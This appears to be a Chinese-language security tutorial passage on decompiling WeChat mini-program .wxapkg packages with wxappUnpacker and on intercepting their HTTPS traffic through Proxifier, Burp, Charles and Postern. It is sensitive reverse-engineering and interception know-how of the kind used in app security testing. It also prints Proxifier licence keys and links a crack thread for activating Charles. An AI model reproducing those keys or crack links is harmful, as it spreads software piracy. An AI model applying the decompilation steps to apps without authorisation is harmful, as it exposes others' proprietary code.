  • node wuJs.js <files…> 将 app-service.js (或小游戏中的 game.js ) 拆分成一系列原先独立的 javascript 文件,并使用 Uglify-ES 美化,从而尽可能还原编译前的情况。
  • node wuWxml.js [-m] <files…> 将编译/混合到 page-frame.html ( 或 app-wxss.js ) 中的 wxml 和 wxs 文件还原为独立的、未编译的文件。如果加上-m指令,就会阻止block块自动省略,可能帮助解决一些相关过程的 bug 。
    node wuWxss.js <dirs…> 通过获取文件夹下的 page-frame.html ( 或 app-wxss.js ) 和其他 html 文件的内容,还原出编译前 wxss 文件的内容。

  • node wuWxapkg.js [-o] [-d] [-s=

    ] <files…> 将 wxapkg 文件解包,并将包中上述命令中所提的被编译/混合的文件自动地恢复原状。如果加上-o指令,表示仅解包,不做后续操作。如果加上-d指令,就会保留编译/混合后所生成的新文件,否则会自动删去这些文件。同时,前面命令中的指令也可直接加在这一命令上。而如果需要解压分包,请先解压主包,然后执行node wuWxapkg.js [-d] -s=
    <subPackages…>,其中Main Dir为主包解压地址。除-d与-s外,这些指令两两共存的后果是未定义的(当然,是不会有危险的)

0x06 工具使用

1
node wuWxapkg.js D:\tmp\tmp\pkg\_-473291355_113.wxapkg
image-20210317165333824

执行后会生成一个wxapkg同名的一个文件夹,里面是反编译的js。

image-20210317165602813

使用微信开发者工具打开小程序源码

image-20210317165834465

点击使用测试号创建

image-20210317170039333

这作者在原作者基础上修改了下,并且增加了bat跟sh辅助使用

当检测到 wxapkg 为子包时, 添加-s 参数指定主包源码路径即可自动将子包的 wxss,wxml,js 解析到主包的对应位置下. 完整流程大致如下:

  1. 获取主包和若干子包
  2. 解包主包
    • windows系统使用: bingo.bat testpkg/master-xxx.wxapkg
    • Linux系统使用: bingo.sh testpkg/master-xxx.wxapkg
  3. 解包子包
    • windows系统使用: bingo.bat testpkg/sub-1-xxx.wxapkg -s=.master-xxx
    • Linux系统使用: bingo.sh testpkg/sub-1-xxx.wxapkg -s=.master-xxx

tips

-s 参数可为相对路径或绝对路径, 推荐使用绝对路径, 因为相对路径的起点不是当前目录 而是子包解包后的目录

1
2
3
4
5
6
7
├── testpkg
│ ├── sub-1-xxx.wxapkg #被解析子包
│ └── sub-1-xxx #相对路径的起点
│ ├── app-service.js
│ ├── master-xxx.wxapkg
│ └── master-xxx # .master-xxx 就是这个目录
│ ├── app.json

微信小程序抓包

0x01 Proxifier+微信PC端

Proxifier:

1
2
3
4
5
L6Z8A-XY2J4-BTZ3P-ZZ7DF-A2Q9C(Portable Edition)#免安装版本

5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition)#安装版本

P427L-9Y552-5433E-8DSR3-58Z68(MAC) #mac版本

1、安装Proxifier,添加代理,指向burp/fuddler监听的端口

一定要勾选Use target hostname in proxy request if available

image.png

2、设置代理规则

微信小程序(wechatapplauncher.exe;wechatwe.exe;wechatapp.exe;wechat.exe)

image.png

img

img

0x02 charles+微信手机端

charles下载地址:https://www.charlesproxy.com/latest-release/download.do

激活参考:https://www.52pojie.cn/thread-951686-1-1.html

  1. 设置代理

    image-20210317144922866

    image-20210317145402461

    可以选择使用socks,socks可以直接过TCP/IP的流量 ,可以抓到更多的包。

    image-20210317145659947

    Windows选项卡里设置默认不开启window代理,主要抓移动端数据

  2. 设置证书范围

    选项SSL Proxying setting里设置 证书解密范围
    单击add添加两个*号

    默认匹配所有   启用ssl代理
    
    image-20210318111837043
  3. 安装证书

    image-20210317150308682 image-20210317150110046

    注意:手机端与电脑连上同一个网络,完成第四步配置代理后才能访问chls.pro/ssl下载证书并安装。

  4. 配置代理

    安装postern 新建配置socks5代理

    image-20210317150531026

    添加配置规则匹配所有,通过代理转发选中我们刚设置的proxy socks5代理

    image-20210317150601026.png
  5. 启用SSL代理

    使用中直接点击小锁子解密抓取的ssl流量

    image-20210317150402850

相关工具下载链接

Charles.rar

node-v14.16.0-x64.msi

wxappUnpacker-master.zip

mp-unpack-Setup.exe

MT2.9.6-CoolApk.apk